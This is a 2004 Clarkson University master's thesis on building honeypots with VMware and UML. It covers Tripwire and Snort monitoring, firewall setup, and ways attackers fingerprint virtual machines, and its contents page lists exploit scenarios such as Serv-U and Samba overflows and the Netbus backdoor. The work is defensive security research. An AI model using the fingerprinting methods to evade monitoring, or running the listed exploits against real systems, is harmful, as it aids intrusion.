HoneyPot - Clarkson Universityweb2.clarkson.edu/projects/itl/projects/honey/HoneyPot... · Web viewThe rest of the thesis is organized as follows: Section 2 compares a stand alone

CLARKSON UNIVERSITY

Building HoneyPot Machine

A Thesis by

Dalia Solomon

Department of Mathematics and Computer Science

Submitted in partial fulfillment of the requirements for the

Degree of Master of Science in Computer Science

August 1, 2004

Accepted by the Graduate School

1

Date Dean

The undersigned have examined the thesis entitled “Building HoneyPot Machine”

presented by Dalia Solomon, a candidate for the degree of Master of Science and

hereby certify that it is worthy of acceptance.

2

Date Advisor: Professor Jeanna Matthews

Professor

Professor

Abstract

HoneyPot machines are designed to mimic systems in order to mislead intruders

from breaking into the real system. By luring the intruder to a HoneyPot machine an

administrator can monitor the activity of the trespasser. The administrator can then learn

about the vulnerabilities of the current system and redesign it to be more secure. But in

order to do so the administrator must properly build the HoneyPot machine is such a way

that the HoneyPot machine fools the attacker in believing that it’s the real system so that

he/she can effectively log information about the attackers’ behavior. The purpose of this

paper is to analyze different HoneyPot platforms, where I conclude that building a

HoneyPot using virtual machine is highly recommended. Also I suggest ways to

countermeasure HoneyPot fingerprinting, and demonstrate a working HoneyPot system

under different test scenarios. I will look at three different attack categories and analyze

the log reports which are generated by the network intrusion detection tools.

3

Acknowledgments

I would like to thank Prof. Jeanna Matthews for advising me and helping me choose

Building HoneyPot machine to be my subject.

I am also grateful to Prof. XXXXXXXXX and Prof. XXXXXXXXX for being on my

committee.

4

Table of Contents

1. Introduction.....................................................................................................................11.1 Motivation..................................................................................................................11.2 Contribution...............................................................................................................11.3 Outline.......................................................................................................................2

2. Physical and Virtual Machines........................................................................................22.1 Standalone Computers vs. Virtual Machines.............................................................22.2 Virtual Machines Comparison...................................................................................4

3. Intrusion Detection and Monitoring Software.................................................................63.1 Xtail...........................................................................................................................73.2 TripWire....................................................................................................................8

3.2.1 What is TripWire?..............................................................................................83.2.2 Methods of Detection.......................................................................................103.2.3 Commercial vs. Open Source...........................................................................10

3.3 Snort.........................................................................................................................114. HoneyPot Designs.........................................................................................................12

4.1 UML Design............................................................................................................134.2 Detecting UML Machine.........................................................................................13

4.2.1 Proc...................................................................................................................144.2.2 Bootlog and File System Information...............................................................15

4.3 UML HoneyPot Features and Fingerprint Countermeasures..................................154.3.2 HoneyPot proc file system (Hppfs) Support.....................................................17

4.4 Monitoring Tool - Teletype (TTY) Logging...........................................................174.4 VMware Design.......................................................................................................184.5 Host-Only HoneyPots Design..................................................................................184.6 Firewall....................................................................................................................214.7 Host-Only and Bridge HoneyPots Design...............................................................224.8 Detecting VMware Machine....................................................................................23

4.8.1 VMware Tool Detection...................................................................................234.8.2 System Detection..............................................................................................244.8.3 Mac Address Detection.....................................................................................254.8.4 Devices Detection.............................................................................................264.8.5 Computer System Detection.............................................................................27

4.9 Countermeasures for VMware Fingerprinting.........................................................274.9.1 Script/Hex Editor..............................................................................................284.9.2 OS Configuration..............................................................................................28

5. VMware Benchmark......................................................................................................306. Studying, Simulating and Analyzing Attacks.................................................................32

6.1 Serv-U Buffer Overflow Attack: (Windows XP)....................................................336.1.1 Setup.................................................................................................................336.1.2 Analyze Snort Report.......................................................................................35

6.2 Port Scan Probe: (Windows XP).............................................................................386.2.1 Setup.................................................................................................................386.2.2 Analyze Snort Report.......................................................................................39

6.3 Ethereal Buffer Overflow Exploit:..........................................................................40

5

6.3.1 Setup.................................................................................................................406.3.2 Analyze Snort Report.......................................................................................42

6.4 Netbus Backdoor: (Windows XP)...........................................................................426.4.1 Setup.................................................................................................................436.4.2 Analyze Snort Report.......................................................................................45

6.5 Subseven Backdoor.................................................................................................466.5.1 Analyze Snort Report.......................................................................................47

6.6 Windows DCOM RPC Exploit................................................................................486.6.1 Setup.................................................................................................................496.6.2 Analyze Snort Report.......................................................................................49

6.7 IIS SMTP Exploit....................................................................................................506.7.1 Setup.................................................................................................................506.7.2 Analyze Snort Report.......................................................................................52

6.8 ISS BlackIce Exploit................................................................................................536.8.1 Setup.................................................................................................................536.8.2 Analyze Snort Report.......................................................................................54

6.9 Samba trans2open Overflow....................................................................................556.9.1 Setup.................................................................................................................556.9.2 Analyze Snort Report.......................................................................................56

6.10 SHOUTcast Remote Exploit..................................................................................576.10.2 Analyze Snort Report.....................................................................................58

7. Related work..................................................................................................................598. Summary........................................................................................................................619. Conclusion.....................................................................................................................63References..........................................................................................................................65Appendices.........................................................................................................................66

Appendix A: TripWire...................................................................................................66A.1 Installing TripWire.............................................................................................66

Appendix B: Snort.........................................................................................................67B.1 Installing WinPcap:.............................................................................................67B.2 Installing Snort:...................................................................................................68B.3 Testing Snort:......................................................................................................69

Appendix C: UML.........................................................................................................69C.1 Installing UML....................................................................................................69

Appendix D: VMware Design.......................................................................................72D.1 Installing VMware..............................................................................................72D.2 Network Setup – Internet Connection Sharing (ICS).........................................72D.3 Network Setup in VMware.................................................................................74D.4 Setting Static IP address- Guest OS....................................................................76D.5 Setting Host OS IP Forwarding..........................................................................77D.6 Installing Firewall...............................................................................................79

Appendix E: Metasploit.................................................................................................82E.1 Metasploit Framework........................................................................................82

Appendix F: VMware Features.....................................................................................83F.1 VMware Features................................................................................................83

6

List of Tables

Table 1: VMware countermeasures...................................................................................27Table 2: VMware Bunchmark...........................................................................................31Table 3: Exploits used on the HoneyPot machines...........................................................32

7

List of Figures

Figure 1: TripWire flowchart [8].........................................................................................9Figure 2: Snort – Average ram usage...............................................................................12Figure 3: My UML HoneyPot design................................................................................13Figure 4: Proc CPU info....................................................................................................14Figure 5: UML Bootlog file...............................................................................................15Figure 6: Host kernel Skas mode.......................................................................................16Figure 7: UML tty logging................................................................................................17Figure 8: UML user keystrokes logging............................................................................18Figure 9: Host-only HoneyPots Design.............................................................................19Figure 10: Host-only and Bridge HoneyPots design.........................................................22Figure 11: Registry info.....................................................................................................24Figure 12: Windows XP MAC address.............................................................................25Figure 13: Gentoo MAC address.......................................................................................26Figure 14: Redhat MAC address.......................................................................................26Figure 15: Device Manager...............................................................................................27Figure 16: Hex Editor........................................................................................................28Figure 17: Changing MAC address in Windows XP.........................................................29Figure 18: VMware Benchmark........................................................................................31Figure 19: Serv-U version 4.1...........................................................................................33Figure 20: Serv-U exploit..................................................................................................34Figure 21: Buffer Overflow opens prompt........................................................................34Figure 22: alert.ids file.......................................................................................................35Figure 23: Serv-U, FTP MDTM overflow alert................................................................36Figure 24: Serv-U FTP log subdirectory...........................................................................36Figure 25: TCP_32773-21.ids file, Serv-U buffer overflow.............................................37Figure 26: Shellcode for Serv-U buffer overflow in the C file..........................................37Figure 27: TCP_32774-21.ids file, Serv-U buffer overflow.............................................38Figure 28: SuperScan version 3.00....................................................................................39Figure 29: SuperScan alert.................................................................................................39Figure 30: Ethereal exploit execution................................................................................40Figure 31: Ethereal Capture...............................................................................................41Figure 32: Ethereal membership query..............................................................................41Figure 33: Eethereal exploit alert......................................................................................42Figure 34: Netbus installation............................................................................................43Figure 35: Netbus Client....................................................................................................44Figure 36: Snort - editing the snort.conf file for Netbus...................................................44Figure 37: Snort- editing backdoor.rules file for Netbus...................................................45Figure 38: Snort detecting Netbus in alert.ids file.............................................................45Figure 39: Subseven version 2.1.5.....................................................................................46Figure 40: Subseven server editor.....................................................................................47Figure 41: Snort alert.ids file detecting Subseven.............................................................47

8

Figure 42: Snort log file for Subseven...............................................................................48Figure 43: Windows DCOM RPC Exploit execution........................................................49Figure 44: Snort DCOM RPC alert...................................................................................50Figure 45: SMTP setup......................................................................................................51Figure 46: SMTP exploit execution...................................................................................52Figure 47: BlackIce exploit execution...............................................................................54Figure 48: Snort alert.ids file for BlackIce........................................................................54Figure 49: Snort log file for BalckIce exploit....................................................................54Figure 50: Seeing Samba machine on windows XP..........................................................55Figure 51: Gaining root access using Samba exploit.........................................................56Figure 52: Snort alert.lds file for Samba exploit...............................................................56Figure 53: Snort log file for Samba exploit.......................................................................57Figure 54: ShoutCast execution.........................................................................................58Figure 55: ShoutCast exploit execution.............................................................................58Figure 56: Snort alert. ids and log files for ShoutCast exploit..........................................59A. 1: TripWire changes report...........................................................................................76A. 2: Tripwire details report..............................................................................................76B. 1: WinPcap....................................................................................................................78B. 2: Snort execution.........................................................................................................79B. 3: Snort alert.ids file reporting telnet access.................................................................79C. 1: UML installation.......................................................................................................79C. 2: UML execution screen..............................................................................................80C. 3: UML Consol screen..................................................................................................80D. 1: ICS setup...................................................................................................................82D. 2: ICS Adapter selection...............................................................................................83D. 3: ICS network connection selection............................................................................83D. 4: ICS connection to bridge..........................................................................................84D. 5: VMware Host-Only network....................................................................................84D. 6: VMware disable DHCP............................................................................................85D. 7: VMware disable NAT...............................................................................................85D. 8: Gentoo static IP.........................................................................................................86D. 9: Redhat static IP.........................................................................................................86D. 10: Windows XP static IP.............................................................................................87D. 11: IP forwarding selection...........................................................................................87D. 12: IP forwarding configuration...................................................................................88D. 13: Windows XP firewall disable.................................................................................89D. 14: ZoneAlarm firewall setup.......................................................................................89D. 15: ZoneAlarm rules setup............................................................................................90D. 16: ZoneAlarm IP range setup......................................................................................90D. 17: ZoneAlarm program control...................................................................................91D. 18: ZoneAlarm alert and log table................................................................................91E. 1: Metasploit help..........................................................................................................92E. 2: Matasploit payloads..................................................................................................92E. 3: Metasploit options.....................................................................................................93E. 4: Metasploit targets......................................................................................................93F. 1: Snapshot in VMware.................................................................................................94

9

F. 2: Revirt in VMware......................................................................................................94F. 3: REDO files of VMware.............................................................................................95

1. Introduction

1.1 Motivation

A HoneyPot is defined as a system designed with deliberate vulnerabilities, which

is exposed to a public network. The goal of creating such system is first to lure intruders

away from the real system, and secondly to closely monitor the intruder to study the

exploits which are used.

First, HoneyPot machines closely imitate a real system in such a way that an

attacker would falsely believe he/she is exploiting a production machine. If a HoneyPot

machine is properly designed an attacker would not be able to distinguish between the

two machines.

Second, by monitoring the different intrusions an administrator can use the

information gathered to improve upon the real system. The administrator could learn

about the weaknesses of the HoneyPot machine and correlate those to the problems with

the actual system. Thus, weaknesses and vulnerabilities in the real system could easily be

detected and then fixed.

1.2 Contribution

This paper gives an in depth discussion of HoneyPot systems. Including the

different steps it takes to set up a HoneyPot system. And a study of different exploits

performed on a HoneyPot system.

This paper builds upon the work of Ryan C. Barnett, Monitoring VMware

HoneyPots, [2] where he discusses the techniques used to build and monitor the VMware

10

HoneyPot system. In Barnett’s paper he discusses method of using VMware to build a

HoneyPot. In order to monitor the HoneyPot system Barnett uses Xtail, which is a utility

that watches a file for increased size and displays the resulted changes.

In addition to the research of Barnett, I studied VMware using different guest OS,

namely Gentoo, Redhat and Windows XP. From analyzing Xtail usage as a monitoring

tool I saw that it is ineffective. Thus, I looked at different methods of monitoring

VMware HoneyPot using Snort and TripWire. I also recommend ways to countermeasure

HoneyPot fingerprinting. I analyzed the effectiveness of using VMware to be a HoneyPot

system. Unlike Barnett that used one test scenario, WU-FTPD, I demonstrated ten

different test scenarios.

1.3 Outline

The rest of the thesis is organized as follows: Section 2 compares a stand alone

computer with a virtual machine. In addition, it discusses the differences between UML

and VMware; Section 3 talks about intrusion detection and monitoring tools including

TripWire and Snort; Section 4 discusses HoneyPot designs and fingerprinting

countermeasures; Section 5 analyzes the effectiveness of using VMware HoneyPot;

Section 6 discusses and analyzes the different exploits used against a VMware HoneyPot;

Section 7 talks about related work and finally Section 8 concludes my thesis with a

summary.

2. Physical and Virtual Machines

2.1 Standalone Computers vs. Virtual Machines

11

HoneyPot system could be built using either physical machines or virtual machines.

A physical machine is a stand alone computer solely dedicated to perform as a HoneyPot

system. A virtual machine is a simulated computer that runs on a host system. For this latter

case, the HoneyPot system is built in the emulated environment. HoneyPot built on

physical machines or virtual machines have their advantages and disadvantages.

The main advantage of a physical HoneyPot is that it is a real system, which is

identical to an actual operational system. There are three major disadvantages in building a

physical HoneyPot. First, the cost is high; to have a good HoneyPot system one really

needs to have multiple OS with various configurations represented. Also, in simulating a

network of HoneyPots (HoneyNet), it is vital to have a broad range of applications and

services. Therefore, having a dedicated machine for each configuration is rather expensive.

Second, waste of CPU resources; the sole purpose of building a HoneyPot is to “wait for

attacks” and then monitor the intrusion, meaning no other useful work is preformed, thus

the CPU is in an idle state most of the time. Third, it is time consuming to set up and

analyze these physical machines. The administrator has to approach the different machines

and manually configure and/or analyze them.

There are several advantages of building a HoneyPot on a virtual machine. First, it

is cheaper; to create a network of HoneyPots (HoneyNet), only one physical machine is

required. Meaning multiple OS with different configurations can simultaneously be

executed under a single host machine. Second, better usage of CPU resources; in spite of

the fact that there could be multiple virtual machines running on a host that are waiting for

attacks, the administrator could continue with his real work on the host machine aside from

running the HoneyNet. Meaning the CPU is not in an idle state like the physical HoneyPot

12

machine. Third, easy to setup and easy to maintain; there is a centralize control for a virtual

machine; all computers are built on the host machine so the administrator can monitor and

configure the different HoneyPots directly from the host. The administrator no longer has

to manually go to the different machines in order to configure them. Also since all of these

HoneyPots are built on simulated environment on the host machine, there is only one set of

hardware. The administrator doesn’t have to deal with figuring out how to install and

configure different devices. In addition, the administrator does not need to reinstall an OS

on a virtual machine if a system is compromised, due to the fact that VMWare gives the

administrator an option to take a snapshot of the current OS and then revert back to its

original state i.e. before the system was compromised (Appendix F).

There are four disadvantages in building a HoneyPot on a virtual machine. First,

there can only be a limited number of OS that can run on a host machine. The limitation is

due to the lack of processor, memory and disk space that are available on the host machine.

Second, since all virtual machines are built on the host machine, if there is a hardware or

software failure in the host machine then the entire HoneyNet could be shut down. Third, it

is possible for an attacker to fingerprint a virtual machine if countermeasures are not taken.

Forth, there are limitations in using both VMware and UML as mentioned in the next

section.

2.2 Virtual Machines Comparison

Virtual environments could be created through the use of different software. The

software uses different techniques to construct their virtual environment. The virtual

environments could be created by various commercial and open source applications. This

section will discuss three of these virtual environments: Xen, UML and VMware.

13

Xen- Xen is a special OS for x86 that creates a virtual environment to run multiple guest

operating systems. It is an open source VM, which the major advantage includes high speed

over UML and VMware. Xen architecture allows the support of multiple operating system

images with very low performance overhead as oppose to VMware and UML. This causes

a disadvantage since in order to achieve this, Xen requires that the guest OS be ported over

to Xen architecture. Meaning one cannot install the guest OS directly using the OS

distribution CD. The process of porting Linux OS to Xen requires a large amount of code

patching to the kernel. Also, Xen is new to the community thus there is less documentation

available which makes the process of building a HoneyPot a lot harder.

UML- UML is an alteration to the Linux kernel to make it run as a program inside the

main Linux system. In order for UML to interact with the hardware, it uses the host’s

system call interface.

VMware- VMWare is a PC emulator that runs on Intel x86 - compatible hardware. It is

designed to create a virtual environment to install a new guest OS on the existing host OS.

UML vs. VMware

UML is open-source software. This makes UML very flexible, since people can

easily patch the source to add additional features that are useful when it is used as a

HoneyPot. Some of these features include: tty logging, hppfs, and skas mode. To mention

what these features are: Tty logging is the logging of traffic to the host, e.g. keystrokes.

Hppfs is a file system that allows entries in /proc (this directory contains info about CPU,

drives, Bios etc) to be rewritten to make the UML look like a physical machine. Skas mode

14

is a UML operation mode that creates address spaces identical to the host (Discussed later

on).

Unlike UML, VMware is commercial software. So there is customer support and

other services support provided by the manufacturer. VMware provides a point and click

GUI which makes it ideal for even a novice.

In UML the host and guest OS must be Linux, meaning Windows is currently not

supported. This is a disadvantage since majority of OS users are Windows users, thus most

exploits are found in Windows, and since the goal of a HoneyPot is to strengthen the

security flaws, a windows OS is required. Interestingly, VMware supports both Windows

and Linux machines. This is important in an ideal network where different OS support is

needed.

The architecture of UML is designed in a way that the code can be ported to OS

running on different platform. Meaning, UML is not restricted to Intel x86- compatible

hardware, where VMWare supports only Intel x86 hardware.

Today, studies are done to effectively build HoneyPot systems using virtual

machines such as UML and VMWare. Both UML and VMWare are virtual machines

which enable guest operating systems to run on top of the host system. Though these two

machines have much in common, there are major differences between the two.

3. Intrusion Detection and Monitoring Software

In order to properly build a HoneyPot system, an administrator must install proper

monitoring and intrusion detection tools. These tools could be classified under two

different categories. The first category is system monitoring that includes tools which log

15

system activities and report changes in the system. Tripwire and Xtail are under this

category. The second category of tools is network monitoring which include tools that

detect intrusions and log activities from the network. Software such as Snort falls into this

category.

The following sections discuss three different monitoring and intrusion detecting

tools: Xtail, TripWire and Snort. The tools which I configured in my HoneyPot include

TripWire and Snort.

3.1 Xtail

Ryan C. Barnett [2] used the Xtail utility to detect intrusions on his HoneyPot

project. Xtail monitors files which are specified by the administrator and displays the

information that is added to them. Xtail is installed on the host OS and looks at the REDO

file of VMware. From my findings I learned that Xtail will display only information which

is added to the end of the file. So hypothetically if the new information is inserted in the

middle of the disk space then the added information is not recorded. After saving the output

to a file the analyzing process comes next. To analyze the file Barnett used the strings –a

command to print the printable character sequences. From my experience, opening the file

and searching for the attack code takes extensive amount of time. Thus using Hex editor

was my next choice. Though Hex editor did not help much in displaying the printable

character file, displaying the original unmodified file was extremely helpful. By looking at

the unmodified file through Hex Editor one could see the full content of the attack, where it

was almost impossible to extract information using a text editor. Because the report given

by Xtail could be extremely large and the administrator needs a way to pin point the attack,

16

I came to a conclusion that different intrusion detection tools should be used to pin point

the attacks.

3.2 TripWire

TripWire was installed on my HoneyPot because it is a system detection tool

which is used to determine if a file has been added, removed or changed in the system.

Once an attacker exploits the system he/she could insert malicious code. With Tripwire I

am able to see the changes that were made to the HoneyPot and learn about the attackers’

behavior.

There are two versions of TripWire available: TripWire Open Source and the

commercial version. For this research I focused more on the open source version.

3.2.1 What is TripWire?

TripWire is a software package that stores a database of file attributes. TripWire

database stores checksum of files. It is also a program that updates and reports

information regarding the database.

TripWire stores rules in a policy file twpol.txt, concerning the severity of various

types of irregularities in the checked files. Using the policy rules, Tripwire detects

violations to a system and helps the administrator determine what caused the violation. If

the violation is not due to normal system activities, then an administrator can further

investigate the causes of the abnormality. Else the administrator can update the database

to accept the new integrity check so TripWire will no longer report them as violation.

17

Figure 1: TripWire flowchart [8]

The flowchart above shows the uses of TripWire. As shown, the user has to first

install, customize and initialize TripWire. When the administrator runs changes report on

TripWire, TripWire will search through the system and its database for changes in the

file. It will report any changes to the administrator. If there are no changes then the

system is not compromised. If there are changes then the administrator must investigate if

the changes are legitimate. If not the administrator must fix the break-in, else he/she must

determine if it is a policy file problem. If it is a policy file problem, then the administrator

should update the policy file, else he/she needs to update the database.

18

3.2.2 Methods of Detection

TripWire is a host based Intrusion Detection System (IDS). One advantage of a

host based IDS is that it does not have to look for patterns, only changes in a set of rules.

Normally an intrusion system comes with a default policy file containing all the default

rules for a system. The administrator can then look at the policy file to see the activity of

a typical system and can then tweak the policy file to meet his/her system needs.

TripWire will scan a file system and then compute digital signatures for the files

that are on the system. It stores all signatures on a secure host. Meaning storing the file

on the host OS rather then saving it on the guest OS. In order for TripWire to detect a

compromise, TripWire checks the current files with the information stored in its database.

TripWire uses a target based integrity checks technique. This method checks

changes in system, files, programs, hardware etc that should not normally be changed.

TripWire monitors files and programs by creating hashes using MD5 cryptography and

saving them to the database. It compares the hash values of the current system files and

programs to the database.

3.2.3 Commercial vs. Open Source

The commercial version of TripWire and Open Source version have much in

common yet there are various differences between the two. The commercial version is

available for Windows, Linux and UNIX machines. Unlike the Open Source TripWire

which is not available for Window machines. The Commercial version comes with a GUI

which provides a more user friendly environment. Also the commercial TripWire comes

with a Manager and Server applications.

19

Some notable differences between the commercial TripWire and the Open Source

TripWire are the options available. The commercial has much more features for detecting

violations in UNIX and Windows then in the open source.

3.3 Snort

Snort is an open source network intrusion detection software that analyzes and logs

packets in real-time. Snort is sometimes used to detect various attacks and detect probes on

the system, such as buffer overflows and port scans respectively. Once it detects an attack it

can alert the administrator via email or save them to a file.

For my HoneyPot machines, I used snort on the host machine. This way, an attack

against my guest OS would be logged thus I would be alerted. Also by doing so, an attacker

won’t be able to detect or disable snort since it is installed on the host OS.

Working with Snort I became aware of the fact that Snort uses a configure file

called snort.conf. This file contains global variables and path to the rule files in the rule

directory. Snort version 2.1.3, which I used, contains forty-eight rule files by default. The

rules will provide information of the who, where and what of an incoming packet, and what

to do if all attributes match. Once the attributes match I analyzed four main actions. First,

alert action; this generates an alert to the alert.ids file. Second, log action; this will log the

packets into the log directory. Third, pass action; the administrator can use to ignore the

packet. Fourth, activate action; that alerts and turns on another rule.

The administrator has the option to modify these rules to suit his system. In my case

almost all the attacks were detected by Snort; however some rules needed be modified to

properly detect the attack. Only one attack was not detected by snot, the PCT overflow

exploit. This problem could be overcome by manually editing the SMTP rules in Snort.

20

Three different modes are available to the administrator Sniffer, Packet logger and

Network Intrusion Detection. Sniffer mode displays the packets on the screen, Packet

logger mode logs the packets and saves it to a file and Network intrusion detection mode

not only logs the packet to a file but also matches it to a set of rules. Clearly the network

intrusion mode was used on my host OS. This mode requires about 39.7 MB ram on

average where the other two modes require about 4.7MB ram on average each.

Ram Usage on Average

0.55.5

10.515.520.525.530.535.540.545.5

Sniffer Packet Logger Network IntrusionDetection

Mode

Ram

(MB)

Figure 2: Snort – Average ram usage

4. HoneyPot Designs

For this project I chose to build my HoneyPot using VMware. However for

completeness I will discuss briefly about UML HoneyPot. In order to use UML on

Windows XP, I installed UML on VMware.

21

4.1 UML Design

The following is a possible method for testing a HoneyPot built in UML.

Remember, UML can be installed only under Linux OS. Since my Host OS is Windows

XP, I had to first install VMware, next install a guest OS and only then could I install

UML. Note: Gentoo will act as a host OS for UML. On UML I tested Debian and Redhat,

which will operate as a guest OS.

Figure 3: My UML HoneyPot design

4.2 Detecting UML Machine

Since UML is not built solely to be used as a HoneyPot machine, but rather to

experiment with kernel and buggy software, it is possible for an attacker to fingerprint

UML. Meaning there are ways that an attacker can distinguish UML from a real machine.

22

Luckily there are techniques to counter against the different ways that an attacker can

fingerprint a UML machine. In the following sections I will discuss about the methods

that UML can be detected and some patches that could be used to disguised UML. This

way an attacker is tricked into believing he is working with a real system.

4.2.1 Proc

In UML, the various files in the /proc could be use to fingerprint a UML machine.

Files such as /proc/mounts, /proc/interruppts, /proc/cpuinfo, /proc/cmdline and /proc

/devices contain information that is unique to UML.

Below is a printout of the /proc/cpuinfo file; the vendor_id is User Mode Linux;

model name is UML; and the mode is skas for this virtual machine. An attacker who

looks at this will know that this is not a real system.

Figure 4: Proc CPU info

23

4.2.2 Bootlog and File System Information

Bootlog contains list of files which are opened and used as the OS loads. The

information could be found in /var/log/boot.log. In addition, information about various

file systems (e.g. hard drives, partitioning) could fingerprint the machine; this could be

found in the file /etc/fstab.

Below is an output of a UML Bootlog file.

Figure 5: UML Bootlog file

4.3 UML HoneyPot Features and Fingerprint Countermeasures

Due to an increase in interest of HoneyPot design, several features have been

added to UML. These features help make UML more useful as a HoneyPot machine.

These features include skas mode and hppfs.

24

4.3.1 Separate Kernel Address Space (Skas) Support

Using the default Tracing Thread (TT) mode an attacker can write to the UML

kernel and gain access to the host. Skas addresses this problem. Skas is a patch that is

applied to the host kernel to allow UML kernel and its processes to run on a separate

address spaces. This feature makes the UML kernel data invisible to the processes. Due

to the fact that the UML kernel address spaces are invisible to the process, the attacker

cannot see nor write to the UML kernel data, and thus this resolves some fingerprinting

and security problems. In addition to solving security and fingerprinting problems, Skas

mode improves the performance of UML. It has been shown that the kernel build is

almost twice as fast with Skas mode then with TT mode [9]. Also the host OS will show

only four processes running per UML as oppose to a dozen or more.

Figure 6: Host kernel Skas mode

25

4.3.2 HoneyPot proc file system (Hppfs) Support

In addition to using Skas mode, the administrator needs Hppfs support. Hppfs reads

the proc folder in the UML working directory on the host OS. It loads this directory into

the UML guest OS proc directory. And thus gives the administrator the option to modify

the /proc information in the UML machine from the host, making the HoneyPot machine

appear as a real OS. With this feature it is no longer possible for an attacker to

fingerprint a UML HoneyPot by looking at the /proc information.

4.4 Monitoring Tool - Teletype (TTY) Logging

TTY Logging allows the administrator to log the keystrokes that the attacker uses

while he gains access to the HoneyPot machine. This is especially useful when logging

an SSH session where network packets are encrypted. Using traditional packets sniffer

software, where an administrator can see only encrypted packets; TTY logging captures

the keystrokes and saves them into a file on the host OS.

To enable tty logging you must enable it in Character DevicesEnable tty

logging. Doing so will enable UML to capture all keystrokes in the virtual environment.

Figure 7: UML tty logging

26

The example below shows the log file of the users’ keystrokes.

Figure 8: UML user keystrokes logging

4.4 VMware Design

For this paper I have chosen VMware as the software to create the virtual

environment. Using VMware I am able to create a HoneyPot system under my target host

OS, which is Windows XP. Also VMware simplified the HoneyPot creation process with

its GUI and features such as Revirt. Using VMware I am able to install both Windows and

Linux machines as the guest OS.

4.5 Host-Only HoneyPots Design

The following is my HoneyPot design. The host OS is Windows XP Pro that runs

VMWare. Three HoneyPot machines are built on VMWare as Guest OS; RedHat, Gentoo

and Windows XP pro. Each HoneyPot is configured with different static IP address. In

addition, different services are installed on each guest OS. Intrusion Detections tools are

installed on the host OS, which include Snort and Zone Alarm Pro firewall. Intrusion

27

detection tool, TripWire, is installed on the guest OS, where the database files are saved on

the host OS.

Figure 9: Host-only HoneyPots Design

In VMware there are different network options: bridge, host-only and NAT.

Bridge networking means that the virtual network is “bridged” to a physical network.

Meaning, virtual machines using this network have their own IP address and appear as a

normal computer in the network. Host-Only networking creates a private network

between the host OS and the guests OS. However the guest OS cannot access the outside

network. But this problem could be overcome using Windows Internet Connection

Sharing. This option turns out to be an ideal method for setting up and controlling the

28

HoneyPot network (discusses later). NAT works similarly to host-only but provides the

guest OS access to the external network.

The Host-Only option is an ideal method for building a Honeynet since traffic

from the guest OS must go through the host OS to get to the network. This way firewall

and monitoring tools can easily be set up on the host OS.

To allow the guest OS to access the internet, I need to install Internet Connection

Sharing on the host OS. This way, the host OS will act as a default gateway and also

provides the DHCP and Nat services for the guest.

By default Windows (Host OS) will automatically create an IP for each guest

machine using DHCP. But since I am configuring Windows (Host OS) to forward

packets to a specific HoneyPot machines’ IP address, I do not want to manually change

the configuration each time the machines start up. The solution that I used was to assign a

static IP address to each HoneyPot machine on the network (configuration could be found

in the appendix D.4).

To allow an intruder from outside your private network to access the Guest OS, I

need to forward the incoming network traffic from the Host OS to the Guest OS. With

this setup, I am able to monitor intruders that attempt on gaining access to the HoneyPot

machine (setup found in the appendix D.5).

From the way IP forwarding is designed in Internet Connection Sharing (ICS)

one can forward a packet from a host to only one HoneyPot. The reason is that in order to

forward a packet to a HoneyPot, the administrator must manually assign different ports to

different HoneyPots (IP addresses). For example, let assume that apache application

which uses port 80 is running on Gentoo HoneyPot and Windows web server which uses

29

the same port is running on the Windows XP HoneyPot. If a packet with port 80 comes

from the external network the host OS is not able to direct this packet to multiple

HoneyPots so it looks at the administrator setting in ICS to determine the forwarding IP

address. In my case the packet is going to be forwarded to Gentoo HoneyPot.

4.6 Firewall

The next step is to set up a firewall for my HoneyPot. I want to set up my firewall

so that I allow all incoming traffic but limit outgoing traffic from my HoneyPot. With this

setup, I will lock the intruders inside my HoneyPot and prevent them from using my

HoneyPot to stage attacks against other networks. Also by controlling outgoing traffic I

am able to protect the host OS from the intruders inside the HoneyPot system.

Not all firewalls give the user an easy way to control incoming and outgoing

messages. The firewall provided by XP gives limited features. Thus I chose to use Zone

Alarm Firewall. This software has the features I require in setting up my HoneyPot. Also

Zone Alarm will log alerts, giving me an extra indication system aside from Snort and

Tripwire (setting found in the appendix D.6).

30

4.7 Host-Only and Bridge HoneyPots Design

Figure 10: Host-only and Bridge HoneyPots design

The second HoneyPot design is a Bridged and Host-Only Network layout. In this

design one of the machines is bridged to the host computer while the two others remain as

host only. In this design, the bridged HoneyPot machine has its own IP address (IP

24.59.49.XXX) and appears to be an independent computer in the public network. Meaning

an outsider doesn’t have to use the host IP address to access the HoneyPot machine. In

addition, Internet Connection Sharing and IP forwarding which are based on port numbers

are no longer required for the bridged machine. Intrusion detection tools and firewall are

31

installed on the host machine and serves the same purpose as mentioned in the previous

sections.

There are several advantages for this Host-only and Bridge setup. First, the

administrator no longer has to manually configure the IP forwarding for the bridged

HoneyPot. Second, each machine could provide there own services i.e. two http servers are

accessible from the public network. Remember, in the host-only setup a packet could be

forwarded to only one HoneyPot.

The major disadvantage is that this setup is using an IP address which could be used

by another computer on the network. Also obtaining additional IP address involves

spending more money in building the HoneyNet.

In the paper “Virtual Honeynets” ,Michael Clark claims that it is harder to log and

filter traffic using bridge connection. I however disagree with his claim. Logging messages

from the guest machine is as easy with bridge as it is with Host-Only setup. Also, filtering

traffic using Zone Alarm enables me to easily filter the incoming and outgoing packets

from the bridged HoneyPot machine.

4.8 Detecting VMware Machine

Despite the fact that VMware simulates an environment that closely resembles a

physical system, there are various methods of detecting a VMware machine. Detection

can be done via software tools, system bios, Mac address, devices and system

information.

4.8.1 VMware Tool Detection

One method of detecting VMware is by looking at the software that is installed on

the virtual machine. This is especially true when the user has installed VMware Tools on

32

their system. If this is done, a hacker can detect VMware tools by looking at the control

panel in Windows or search for the VMware directory.

4.8.2 System Detection

An attacker can also check the computer system to see if the current system is a

VMware machine. The system information provides details that could fingerprint the

system as a VMware machine.

Getting bios information in Windows XP is done by selecting Start Programs

Accessories System Tools System Information. In the System Summary for

example, System Manufacturer is VMware Inc and the System Model is VMware Virtual

Platform. All of these information fingerprints the VMware machine.

Figure 11: Registry info

33

4.8.3 Mac Address Detection

Another method to detect a VMware machine is by looking at the MAC address.

VMware register three OUIs for the physical address. Two Mac addresses are

automatically generated by VMware and the third Mac address could be set up manually

by the user. The Guest OS is limited on having a Mac address of 00-0C-29-XX-XX-XX,

00-05-69-XX-XX-XX, or 00-50-56-XX-XX-XX.

In order to detect VMware MAC address in Windows XP, run command prompt

and type in ipconfig /all. In the output printout, the physical address is the MAC address

of the adapter. In this example the Mac address of VMnet1 is 00-50-56-C0-00-01. Note:

this is the automatic Mac address created by VMware.

Figure 12: Windows XP MAC address

The following screenshots are from Gentoo and Redhat respectively. In order to

get the Mac address, one needs to type the command ifconfig –a. In this case, Mac

address of Gentoo is 00:50:56:00:11:22 and Redhat Mac address is 00:0c:29:36:63:60.

34

Figure 13: Gentoo MAC address

